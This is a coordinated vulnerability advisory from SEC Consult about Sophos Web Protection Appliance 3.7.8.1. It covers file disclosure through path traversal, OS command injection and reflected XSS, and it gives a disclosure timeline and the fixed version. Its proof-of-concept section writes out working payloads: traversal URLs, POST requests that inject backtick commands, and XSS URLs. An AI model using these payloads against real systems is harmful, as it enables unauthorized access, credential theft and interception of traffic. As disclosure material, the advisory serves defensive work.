Sophos Web Protection Appliance 3.7.8.1 XSS / Command Execution

`SEC Consult Vulnerability Lab Security Advisory < 20130403-0 >  
=======================================================================  
title: Multiple vulnerabilities  
product: Sophos Web Protection Appliance  
vulnerable version: <= 3.7.8.1  
fixed version: 3.7.8.2  
impact: Critical  
CVE number: CVE-2013-2641, CVE-2013-2642, CVE-2013-2643  
homepage: http://www.sophos.com/  
found: 2013-01-14  
by: Wolfgang Ettlinger  
SEC Consult Vulnerability Lab  
https://www.sec-consult.com  
  
=======================================================================  
  
Vendor/product description:  
-----------------------------  
"Our award-winning Secure Web Gateway appliances make web protection easy.  
They are quick to setup, simple to manage and make policy administration a  
snap, even for non-technical users."  
  
URL: http://www.sophos.com/en-us/products/web/web-protection.aspx  
  
  
Business recommendation:  
------------------------  
SEC Consult has identified several vulnerabilities within the components of  
the Sophos Web Protection Appliance in the course of a short crash test. Some  
components have been spot-checked, while others have not been tested at all.  
  
An attacker can get unauthorized access to the appliance and plant backdoors or  
access configuration files containing credentials for other systems (eg. Active  
Directory/FTP login) which can be used in further attacks.  
Since all web traffic passes through the appliance, interception of HTTP as  
well as the plaintext form of HTTPS traffic (if HTTPS Scanning feature in use),  
including sensitive information like passwords and session Cookies is possible.  
If HTTPS Scanning is enabled, the appliance holds a private key for a  
Certificate Authority (CA) certificate that is installed/trusted on all  
workstations in the company. If this private key is compromised by an attacker,  
arbitrary certificates can be signed. These certificates will then pass  
validation on the client machines, enabling in various attacks targeting  
clients (MITM, phishing, evilgrade, ...).  
  
The recommendation of SEC Consult is to switch off the product until a  
comprehensive security audit based on a security source code review has been  
performed and all identified security deficiencies have been resolved by the  
vendor.  
  
Vulnerability overview/description:  
-----------------------------------  
1) Unauthenticated local file disclosure (CVE-2013-2641)  
Unauthenticated users can read arbitrary files from the filesystem with the  
privileges of the "spiderman" operating system user. These files include  
configuration files containing sensitive information such as clear text  
passwords which can be used in other attacks.  
Furthermore the webserver log file which holds valid PHP session IDs can be  
accessed. With this information administrator users can be impersonated.  
  
2) OS command injection (CVE-2013-2642)  
Authenticated users can execute arbitrary commands on the underlying  
operating system with the privileges of the "spiderman" operating system user.  
This can be used to get persistent access to the affected system (eg. by  
planting backdoors), accessing all kinds locally stored information or  
intercepting web traffic that passes through the appliance.  
Unauthenticated users can exploit this kind of vulnerability too (depends on  
appliance configuration).  
  
3) Reflected Cross Site Scripting (XSS) (CVE-2013-2643)  
Reflected Cross Site Scripting vulnerabilities were found. An attacker can use  
these vulnerabilities the exploit other vulnerabilities in the web interface  
or conducting phishing attacks.  
  
  
Proof of concept:  
-----------------  
1) Unauthenticated local file disclosure (CVE-2013-2641)  
As an example, an unauthenticated user can download the configuration file  
containing the salted hash of the administrator password as well as clear text  
passwords e.g. for FTP backup storage or Active Directory authentication:  
  
https://<host>/cgi-bin/patience.cgi?id=../../persist/config/shared.conf%00  
  
Furthermore the Apache access log can be retrieved. As PHP session IDs are  
passed via the URL rather than via Cookies, these can be found in this log  
file and effectively used to impersonate administrator users:  
  
https://<host>/cgi-bin/patience.cgi?id=../../log/ui_access_log%00  
  
An excerpt from the log file shows that it contains PHP session ID information  
(parameter "STYLE").  
<host> - - [21/Feb/2013:17:02:17 +0000] "POST /index.php?c=dashboard HTTP/1.1" 200 139  
"https://<host>/index.php?section=configuration&c=configuration&STYLE=8514d0a3c2fc9f8d47e2988076778153"  
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:19.0) Gecko/20100101 Firefox/19.0"  
  
  
2) OS command injection (CVE-2013-2642)  
The "Diagnostic Tools" functionality allows an authenticated user to inject  
arbitrary operating system commands enclosed in backticks (`). These commands  
are run with the privileges of the operating system user "spiderman":  
  
POST /index.php?c=diagnostic_tools HTTP/1.1  
Host: <host>  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
Content-Length: 92  
Cache-Control: no-cache  
  
action=wget&section=configuration&STYLE=<valid session id>&url=%60sleep%205%60  
  
  
The "Local Site List" functionality allows injection of arbitrary OS commands:  
  
POST /index.php?c=local_site_list_editor HTTP/1.1  
Host: <host>  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
Content-Length: 205  
  
STYLE=<valid session  
id>&action=save&entries=[{"url"%3a+".'`sleep+10`'",+"range"%3a+"no",+"tld"%3a+"yes",+"valid_range"%3a+"no"}]  
  
Note: Unauthenticated users can retrieve valid session IDs using the  
vulnerability in 1).  
  
If a customized template for the "Block page" uses the variable  
"%%user_workstation%%", an _unauthenticated_ user can inject OS commands using the  
following URL:  
  
https://<host>/end-user/index.php?reason=application&client-ip=%20%60sleep+10%60  
  
  
3) Reflected Cross Site Scripting (XSS) (CVE-2013-2643)  
The following URLs demonstrate reflected Cross Site Scripting vulnerabilities:  
  
https://<host>/rss.php?action=allow&xss=%3Cscript%3Ealert%28String.fromCharCode%28120,%20115,%20115%29%29%3C/script%3E  
https://<host>/end-user/errdoc.php?e=530&msg=PHNjcmlwdD5hbGVydCgneHNzJyk7PC9zY3JpcHQ%2bCg%3d%3d  
https://<host>/end-user/ftp_redirect.php?r=x&h=%3C/script%3E%3Cscript%3Ealert%281%29%3b%3C/script%3E  
https://<host>/index.php?c=blocked&reason=malware&user=&&threat=%3Cscript%3Ealert%281%29%3C/script%3E  
  
As the application uses URL parameters to transmit session IDs and rather  
than cookies, session stealing attacks cannot be executed using these flaws.  
However, these vulnerabilities can still be used to fake login pages for  
phishing purposes.  
Furthermore the vulnerabilities in 1) and 2) can be exploited via one of the  
XSS vulnerabilities. This enables attacks on the appliance even when the  
web interface would otherwise not be reachable to the attacker.  
  
Possible attack scenario:  
Use XSS to run malicous Javascript in the browser of a user who has network  
access to the web interface. This code can:  
- Exploit the local file disclosure vulnerability (see 1) in order to gain  
access to valid session IDs and impersonate administrator users.  
- Exploit the OS command injection (see 2) in order to execute arbitrary  
commands on the system.  
- Exfiltrate sensitive information like HTTP, (plaintext) HTTPS traffic or the  
private key for the CA certificate used for HTTPS scanning (MITM).  
  
  
Vulnerable / tested versions:  
-----------------------------  
The vulnerabilities have been verified to exist in the Sophos Web Protection  
Appliance version 3.7.8.1, which was the most recent version at the time of  
discovery.  
  
  
Vendor contact timeline:  
------------------------  
2013-02-22: Sending advisory and proof of concept exploit via encrypted  
channel.  
2013-02-23: Vendor acknowledges receipt of advisory.  
2013-03-01: Vendor confirms reported issues and provides preliminary  
information about release dates.  
2013-03-07: Conference call: Addressing the risks the discovered  
vulnerabilities pose to customers and release schedule.  
2013-03-18: Vendor starts rollout of update to "a first group of customers".  
2013-04-03: SEC Consult releases coordinated security advisory.  
  
  
Solution:  
---------  
Update to Web Protection Appliance version 3.7.8.2.  
  
More information can be found at:  
http://www.sophos.com/en-us/support/knowledgebase/118969.aspx  
  
  
Workaround:  
-----------  
No workaround available.  
  
  
Advisory URL:  
--------------  
https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm  
  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
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Office Vienna  
Mooslackengasse 17  
A-1190 Vienna  
Austria  
  
Tel.: +43 / 1 / 890 30 43 - 0  
Fax.: +43 / 1 / 890 30 43 - 25  
Mail: research at sec-consult dot com  
https://www.sec-consult.com  
http://blog.sec-consult.com  
  
  
EOF Wolfgang Ettlinger, Stefan Viehböck / @2013  
`